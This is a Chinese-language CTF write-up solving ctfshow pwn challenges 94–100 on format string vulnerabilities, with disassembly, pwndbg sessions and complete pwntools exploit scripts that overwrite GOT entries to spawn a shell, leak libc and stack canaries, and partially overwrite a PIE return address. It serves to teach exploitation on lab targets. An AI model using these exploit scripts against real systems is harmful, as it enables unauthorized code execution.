  • 教程题 7 直接出
  • 1-5:

程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖和任意地址内存覆盖

1. 程序崩溃

(Rhea)“段错误”:程序试图访问不属于它的内存区域,或者对内存进行了非法操作。崩溃发生在 strlen函数内部(strlen_avx2是 glibc 的优化版 strlen),strlen被调用是因为 printf遇到 %s时,会尝试读取栈上的一个地址并计算其长度,当 printf尝试用这些无效地址调用 strlen时,触发 Segmentation Fault
(ai)由于 %s 数量极多,printf 会从寄存器到栈上读取大量垃圾值,几乎必然会访问到非法地址,从而导致段错误。

; Attributes: bp-based frame

; __int64 func1(void)
public func1
func1 proc near
/*func1 是一个公开可见的函数(public),proc near 表示这是一个近过程(near procedure),即调用该函数时只需要偏移地址而不需要段地址*/
; __unwind {
push rbp
mov rbp, rsp
/*这是 x86-64 汇编中函数开始的标准指令序列:
- 保存基址指针(rbp)到栈上
- 将栈指针(rsp)的值赋给基址指针(rbp),建立新的栈帧*/
  • 这一块我一直不是很能搞懂拷打 ai 也搞不懂,等我学完数据结构回来再战
lea     rdi, aSSSSSSSSSSSSSS ; "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%"...
mov eax, 0
call _printf
/*这部分是函数的核心操作:
- lea rdi, aSSSSSSSSSSSSSS:将一个字符串常量的地址加载到 rdi 寄存器。这个字符串看起来是由很多 %s 格式说明符组成的(用于 printf 函数)
- mov eax, 0:将 eax 寄存器清零。在 x86-64 调用约定中,eax 用于指定浮点参数的数量,这里为 0 表示没有浮点参数
- call _printf:调用 printf 函数,输出前面加载的字符串*/
nop
pop rbp
retn
/*这是函数结束的标准指令序列:
- nop:空操作,可能是编译器为了对齐而插入的
- pop rbp:从栈上恢复之前保存的基址指针
- retn:返回调用者,相当于弹出栈上的返回地址并跳转到该地址*/
; } // starts at A87
func1 endp
/*func1 函数的结束*/

2. 栈数据泄露

  • gdb:

gdb pwn进入调试,b func2打断点,r运行,输入 2,n步进至 printf 函数处
【刷题】ctfshow-pwn合集wp_image-16.png

【刷题】ctfshow-pwn合集wp_image-17.png
【刷题】ctfshow-pwn合集wp_image-18.png

3. 任意地址内存泄露

; Attributes: bp-based frame

; __int64 func3(void)
public func3
func3 proc near
; __unwind {
push rbp
mov rbp, rsp
lea rdi, aAaaaPPPPPPPPPP ; "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...
mov eax, 0
call _printf
/*lea rdi, aAaaaPPPPPPPPPP:lea 指令将格式字符串的内存地址加载到 rdi 寄存器。根据注释,该字符串是 "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...,包含固定前缀 "AAAA." 和大量 %p 格式符(用于输出指针地址)。
mov eax, 0:在 x86-64 调用约定中,eax 寄存器用于告知被调用函数(这里是 printf)传递了多少个浮点参数。此处为 0,表示没有浮点参数。
call _printf:调用 C 标准库的 printf 函数,输出上述格式字符串。*/
nop
pop rbp
retn
; } // starts at AB7
func3 endp

(ai)在 x86-64 Linux 系统中,调用约定(System V AMD64 ABI)规定:

  • 前 6 个整数/指针参数:通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)
  • 第 7 个及以后的参数:通过栈传递

【刷题】ctfshow-pwn合集wp_image-19.png

(ai)

# 查看所有寄存器的值(pwndbg 增强版)
regs # pwndbg 的寄存器显示,比 info registers 更友好

【刷题】ctfshow-pwn合集wp_image-20.png

(ai)

args           # 查看所有参数(自动识别)

【刷题】ctfshow-pwn合集wp_image-21.png

(ai)

stack          # 查看当前栈(默认显示一定行数)

【刷题】ctfshow-pwn合集wp_image-22.png

4. 栈数据覆盖

  • 单纯 %n 的利用
  • 动调时通过伪 c 代码知道相对寄存器地址:
int v1; // [rsp+4h] [rbp-Ch] BYREF

【刷题】ctfshow-pwn合集wp_image-23.png

5. 任意地址内存覆盖

格式符 含义 写入字节数 对应变量类型
%hhn 输出计数写入 1 字节内存 1 字节 char*(或 int* 强制转换)
%hn 输出计数写入 2 字节内存 2 字节 short*(或 int* 强制转换)
%n 输出计数写入 4 字节内存 4 字节 int*
%ln 输出计数写入 4/8 字节内存(取决于编译器) 通常 8 字节 long*
%lln 输出计数写入 8 字节内存 8 字节 long long* 或 __int64*

pwn94

【刷题】ctfshow-pwn合集wp_image-24.png

void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}

明显的格式化字符串漏洞使用printf(buf)而不是安全的printf("%s", buf)

void sys()
{
system("echo Write here!");
}

格式化字符串漏洞任意写的,将printf_got 指针指向的地址改为 system_plt
在printf(),就相当于 system()了,如果我们再发送 “/bin/sh\x00”,作为其参数,就能getshell了。

那接下来我们只需要用fmtstr_payload来将printf的got表改为system的plt即可

【刷题】ctfshow-pwn合集wp_image-25.png

(gr310) a1gorithms@A1gorithm:~/Desktop/workingplace/working$ ./pwn
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Write any address !
* *************************************
aaaa%p-%p-%p-%p-%p-%p-%p-%p
aaaa0xfff31bd8-0x64-0x80486e5-0xf4217620-0x10-0x61616161-0x252d7025-0x70252d70
  • 偏移量 6
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28301)
elf = ELF('./pwn')

system_plt = 0x8048400
printf_got = elf.got['printf']

payload = fmtstr_payload(6,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline("/bin/sh\x00")

io.interactive()

pwn95

【刷题】ctfshow-pwn合集wp_image-26.png

  • 多了一个fflush(stdout);,输出会被刷新,不会留在缓冲区
  • system 函数没有了
from pwn import *  
from LibcSearcher import LibcSearcher

context(arch='i386', os='linux', log_level='debug')

elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show', 28298)
io.recvrepeat(0.5)

def leak(addr):
io.sendline(p32(addr) + b'%6$sEND')
data = io.recvuntil(b'END')
io.recvline(timeout=1)
return u32(data[4:8])

printf_addr = leak(elf.got['printf'])

read_addr = leak(elf.got['read'])

libc = LibcSearcher('printf', printf_addr)
# 用 read 的实际地址帮助缩小 libc 版本范围
libc.add_condition('read', read_addr)

# 计算 libc 基址 = printf 实际地址 - printf 在 libc 中的偏移
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')

io.sendline(fmtstr_payload(6, {elf.got['printf']: system_addr}))
io.recvrepeat(0.5)
io.sendline(b'/bin/sh')
io.interactive()

pwn96

【刷题】ctfshow-pwn合集wp_image-27.png

【刷题】ctfshow-pwn合集wp_image-31.png

  • flag 在栈上,还有格式化字符串漏洞可以读取

【刷题】ctfshow-pwn合集wp_image-28.png

from pwn import *

def str_to_nums(text):
"""将字符串转换为小端序的4字节整数列表"""
nums = []
for i in range(0, len(text), 4):
chunk = text[i:i+4]
if len(chunk) < 4:
# 最后不足4字节的,补零或直接处理
chunk = chunk.ljust(4, '\x00')
nums.append(u32(chunk.encode()))
return nums

s = "ctfshow{"
nums = str_to_nums(s)
print([hex(n) for n in nums]) # ['0x73667463', '0x7b776f68']
from pwn import *

nums = [0x73667463,0x7b776f68,0x37313131,0x32383064,0x6165652d,0x38342d63,0x392d6464,0x2d663734,0x35396662,0x30323161,0x32303861,0xa7d]

for x in nums:
    print(p32(x).decode(), end='')

【刷题】ctfshow-pwn合集wp_image-30.png

pwn97

【刷题】ctfshow-pwn合集wp_image-32.png

【刷题】ctfshow-pwn合集wp_image-33.png

【刷题】ctfshow-pwn合集wp_image-34.png

AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

【刷题】ctfshow-pwn合集wp_image-35.png

from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28207)

check_addr = 0x804B040
payload = fmtstr_payload(11,{check_addr:1})

io.sendline(payload)
io.interactive()

pwn98

  • Canary?有没有办法绕过呢?

【刷题】ctfshow-pwn合集wp_image-36.png

unsigned int ctfshow()
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
gets(s);
printf(s);
gets(s);
return __readgsdword(0x14u) ^ v2;
}
  • 顺着 system 能找到后门函数:080486CE

【刷题】ctfshow-pwn合集wp_image-37.png
【刷题】ctfshow-pwn合集wp_image-38.png

(ai)Canary 通常是 4 字节(32 位),而且最低位是 \x00(为了防止字符串输出时泄露)

【刷题】ctfshow-pwn合集wp_image-39.png

  • 偏移 5

  • s 的地址ebp - 0x34

  • Canary (v2)ebp - 0xC

最终偏移量(0x34-0x0c)/4 + 5 = 15
32 位下调用 printf 时,所有参数会从栈上传给它。格式化字符串里的 %n$p 是按照printf 可变参数列表的第 1 个参数开始数。每个 %n$p 实际读取的是 4 字节的栈值(一个参数)

  • 说白了就是我们AAA.%p %p %p找到我们可以控制的是第5个槽,这就是 s 的位置,然后 canary 就是 v2 的位置就很好求了
from pwn import *  
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28257)
elf = ELF('./pwn')
shell = elf.sym['__stack_check']
io.recv()
payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16) #16进制字符串转成整数类型
log.info("Canary : 0x%x" % canary)
payload = cyclic(0x28) + p32(canary) + b'A'*0xC + p32(shell)
#填充缓冲区s[40]+ Canary值(绕过检查)+保存的ebp(填充EBP到返回地址之间的空隙)+shell(把返回地址改成后门函数的地址)
io.sendline(payload)
io.interactive()

pwn99

from pwn import *
context.log_level = 'error' #只显示错误信息,减少干扰
def leak(payload):
io = remote('pwn.challenge.ctf.show',28288)
io.recv()
io.sendline(payload)
data = io.recvuntil(b'\n', drop=True)
if data.startswith(b'0x'):
print(p64(int(data, 16)))
io.close()
i = 1
while 1:
payload = f'%{i}$p'.encode() #构建payload并转换为字节类型
leak(payload)
i += 1

【刷题】ctfshow-pwn合集wp_image-40.png

pwn100

【刷题】ctfshow-pwn合集wp_image-41.png

初步分析

  • 格式化字符串漏洞位置:

【刷题】ctfshow-pwn合集wp_image-45.png

【刷题】ctfshow-pwn合集wp_image-46.png

fmt_attack

重置反复利用漏洞方法

【刷题】ctfshow-pwn合集wp_image-42.png

【刷题】ctfshow-pwn合集wp_image-43.png

$ gdb ./pwn  

pwndbg> b fmt_attack
pwndbg> r
Hello my bro.
What time is it :2025
8
15
Ok! time is 2025:8:15
1. leak
2. fmt_attack
3. get_flag
4. exit
>>2. fmt_attack

pwndbg> disassemble fmt_attack
0x00006454ea400ea9 <+83>: mov DWORD PTR [rax],0x1 #*a1 = 1

pwndbg> b *0x00006454ea400ea9
pwndbg> c
pwndbg> info registers rax # 查看a1指针的值(rax寄存器)
rax 0x7fff9e224b7c 140735846435708
pwndbg> x/w $rax # 查看*a1当前的值
0x7fff9e224b7c: 0
pwndbg> ni
pwndbg> x/w $rax # 再次查看*a1的值
0x7fff9e224b7c: 1
# 运行到printf函数查看偏移
pwndbg> c
Continuing.
AAAA.0x7fffffffd380 0x28 0x7ffff7d1ba91 0x1999999999999999 (nil) (nil) 0x7fffffffd3dc 0x2070252e41414141 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x70252070252070251. leak
  • (nil)前面的是寄存器值
  • 第 8 个%p开始是我输入内容的ASCII 字符串的小端序表示

(ai)在 x86-64 中,函数调用时前 6 个参数通过寄存器传递(rdirsirdxrcxr8r9),第 7 个及以后的参数通过栈传递

【刷题】ctfshow-pwn合集wp_image-44.png

(ai)var_48 表示相对于 rbp 的负偏移,实际地址是 rbp - 0x48

低地址
rbp-0x48 ← a1 的值 (read 不会写入到这里,因为 format 从 rbp-0x40 开始)
rbp-0x40 ← format[0] (read 从这里开始写入)
...
rbp-0x19 ← format[39]
高地址
  • *a1 = 1(a1 的值在函数入口时已经在栈上了,寄存器读取,修改指向内容)运行后栈和寄存器都残留的a1的值;

  • read把寄存器覆盖为输入数据存放位置,把用户输入写入栈上的 format 缓冲区,未覆盖a1位置,栈上仍残留a1的值;

  • printf打印输入的AAA%p输出参数值,根据x86-64规定,先输出寄存器再输出栈上的值,而a1的值保存在rbp-0x48read写入数据从rbp-0x40开始写入(从低往高写入,于是printf在寄存器读取完毕开始从栈低地址向高读

  • 所以第 7 个(0x7fffffffd3dc)是v3变量的地址(即a1指针指向的内存)

  • 调用%7$n可以把已经输入0个字符输入到地址指向位置,即重置 *a1为0

%17$p泄露fmt_attack 返回地址的实际值-> ELF 基址

表达式 指向的内容 是否固定
rbp+8 当前函数的返回地址 ✅ 永远如此
rbp 保存的调用者 rbp ✅ 永远如此
pwndbg> x/gx $rbp+8  #main的返回地址0x000055555540102c
0x7fffffffd3c8: 0x000055555540102c
pwndbg> disassemble main
0x0000555555401027 <+113>: call 0x555555400e56 <fmt_attack>
0x000055555540102c <+118>: jmp 0x55555540104b <main+149>
  • call后返回地址0x000055555540102c,这里写了下一步命令jmp
  • 得出结论:
#elf_base = leak_ret - 0x102c
(0x102c是返回地址在程序中的偏移,ida中可以看到)

【刷题】ctfshow-pwn合集wp_image-47.png

pwndbg> n #单步执行到 call   read_n   
%17$p
pwndbg> n #单步执行到 call printf@plt
pwndbg> n
0x55555540102c
# 立刻stack 30验证
rsp = 0x7fffffffd370
计算 %17$p 的地址:0x7fffffffd370 + 8 + (17-7)*8 = 0x7fffffffd370 + 8 + 80 = 0x7fffffffd3c8
stack 30 中 0x7fffffffd3c8 的值是 0x55555540102c(返回地址)✅
  • 多次尝试可发现%17$p对应栈上main的返回地址(fmt_attack 返回地址的实际值)→ 算出 ELF 基址(因为 PIE 开启)

%16$p 泄露上层 rbp ->fmt_attack 返回地址在栈上的存储位置

(ai)在 x86-64 中,printf 的参数布局是固定的:

参数位置 来源
%1$p ~ %6$p 寄存器 (rdirsirdxrcxr8r9)
%7$p rsp+8(栈上第一个参数)
%8$p rsp+16
%9$p rsp+24
%n$p rsp+8 + (n-7)*8

通用公式第 n 个参数的地址 = rsp + 8 + (n - 7) * 8

rsp = 0x7fffffffd370

计算 %16$p 的地址:
text
0x7fffffffd370 + 8 + (16-7)*8 = 0x7fffffffd370 + 8 + 72 = 0x7fffffffd3c0
stack 30 中 0x7fffffffd3c0 的值是 0x7fffffffd3f0(main 的 rbp)✅
0a:0050│ rbp 0x7fffffffd3c0 —▸ 0x7fffffffd3f0 —▸ 0x7fffffffd490 —▸ 0x7fffffffd4f0 ◂— 0
  • 因为当前 rbp 指向的是调用者(main)的 rbp
计算 %17$p 的地址:
text
0x7fffffffd370 + 8 + (17-7)*8 = 0x7fffffffd370 + 8 + 80 = 0x7fffffffd3c8
stack 30 中 0x7fffffffd3c8 的值是 0x55555540102c(返回地址)✅
  • main 的 rbp 到 fmt_attack 的返回地址的固定偏移是 0x28
    (1)从 stack 30 直接计算
0a:0050│ rbp 0x7fffffffd3c0 —▸ 0x7fffffffd3f0   ← main 的 rbp
0b:0058│+008 0x7fffffffd3c8 —▸ 0x55555540102c ← fmt_attack 返回地址
  • 0x7fffffffd3f0 是 main 的 rbp,0x7fffffffd3c8 是 fmt_attack 的返回地址。计算 main 的 rbp 到 fmt_attack 返回地址的距离:0x7fffffffd3f0 - 0x7fffffffd3c8 = 0x28
    (2)从栈布局分析
main 的栈帧(从 main 的 rbp 往下):
+--------------------------+
| main 的 rbp | ← 0x7fffffffd3f0
+--------------------------+ (8 字节)
| main 的局部变量 (0x20) | ← 0x7fffffffd3e8 到 0x7fffffffd3c8
+--------------------------+
| fmt_attack 返回地址 | ← 0x7fffffffd3c8
+--------------------------+
  • main 的 rbp 本身占 8 字节(0x7fffffffd3f0 到 0x7fffffffd3e8
  • main 分配了 0x20 字节局部变量(sub rsp, 0x20
  • 所以 main_rbp - 0x28 = fmt_attack 返回地址

stack 30->用于盲猜后的验证

pwndbg> stack 30
00:0000│ rsp 0x7fffffffd370 ◂— 0
01:0008│-048 0x7fffffffd378 —▸ 0x7fffffffd3dc ◂— 1
02:0010│-040 0x7fffffffd380 ◂— 0xa7024373125 /* '%17$p\n' */
03:0018│-038 0x7fffffffd388 ◂— 0
... ↓ 4 skipped
08:0040│-010 0x7fffffffd3b0 ◂— 2
09:0048│-008 0x7fffffffd3b8 ◂— 0x6c5ca464040c2100
0a:0050│ rbp 0x7fffffffd3c0 —▸ 0x7fffffffd3f0 —▸ 0x7fffffffd490 —▸ 0x7fffffffd4f0 ◂— 0
0b:0058│+008 0x7fffffffd3c8 —▸ 0x55555540102c (main+118) ◂— jmp main+149
0c:0060│+010 0x7fffffffd3d0 ◂— 0
0d:0068│+018 0x7fffffffd3d8 ◂— 0x1f7fe5af0
0e:0070│+020 0x7fffffffd3e0 ◂— 0x200000000
0f:0078│+028 0x7fffffffd3e8 ◂— 0x6c5ca464040c2100
10:0080│+030 0x7fffffffd3f0 —▸ 0x7fffffffd490 —▸ 0x7fffffffd4f0 ◂— 0
11:0088│+038 0x7fffffffd3f8 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
12:0090│+040 0x7fffffffd400 —▸ 0x7fffffffd440 ◂— 0
13:0098│+048 0x7fffffffd408 —▸ 0x7fffffffd518 —▸ 0x7fffffffd81d ◂— '/mnt/d/download/pwn'
14:00a0│+050 0x7fffffffd410 ◂— 0x155400040 /* '@' */
15:00a8│+058 0x7fffffffd418 —▸ 0x555555400fb6 (main) ◂— push rbp
16:00b0│+060 0x7fffffffd420 —▸ 0x7fffffffd518 —▸ 0x7fffffffd81d ◂— '/mnt/d/download/pwn'
17:00b8│+068 0x7fffffffd428 ◂— 0x78cc31008c23b0c4
18:00c0│+070 0x7fffffffd430 ◂— 1
19:00c8│+078 0x7fffffffd438 ◂— 0
1a:00d0│+080 0x7fffffffd440 ◂— 0
1b:00d8│+088 0x7fffffffd448 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
1c:00e0│+090 0x7fffffffd450 ◂— 0x78cc31008d03b0c4
1d:00e8│+098 0x7fffffffd458 ◂— 0x78cc217a6601b0c4
0x7fffffffd3f0  ← main 的 rbp (%16$p 泄露)
0x7fffffffd3e8
...
0x7fffffffd3c8 ← fmt_attack 返回地址的位置 (ret_addr = main_rbp - 0x28)
0x7fffffffd3c8 ← 存储的值 = 0x55555540102c (%17$p 泄露)
  • 因为 ASLR 不会随机化 ELF 内部的低 2 字节
    (例如 0x5608ced06000 中的 0x6000 是固定的,只有高 42 位随机化)。
  • 目标地址的 低 2 字节 是固定的,例如 0xf56
  • 因此我们只需要修改返回地址的低 2 字节为 (elf_base + 0xf56) & 0xffff

最后脚本

from pwn import *  
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28196)
def fmt(payload):
io.recvuntil(b">>")
io.sendline(b'2')
io.sendline(payload)

io.sendline(b'2026 04 17')

fmt(b'%7$n-%16$p')
io.recvuntil(b'-')
ret_addr = int(io.recvuntil(b'\n')[:-1],16)-0x28
log.success("ret_addr: "+hex(ret_addr))

fmt(b'%7$n+%17$p')
io.recvuntil(b'+')
ret_value = int(io.recvuntil(b'\n')[:-1],16)

elf_base = ret_value - 0x102c
payload = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload = payload.ljust(0x10,b'a')
# b'%44886c%10$hnaaa'
payload += p64(ret_addr)
# b'%8022c%10$hnaaaa\x184\xac*\xfc\x7f\x00\x00'
fmt(payload)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
io.interactive()

【刷题】ctfshow-pwn合集wp_image-48.png

  • (非常诡异的是再次复现居然失败了我累了我懒得再研究了何意味啊这样欺负我 w(゚Д゚)w)
  • (对的某个不死心的人重开了两次靶机又成功了 ヾ(≧O≦)〃~

参考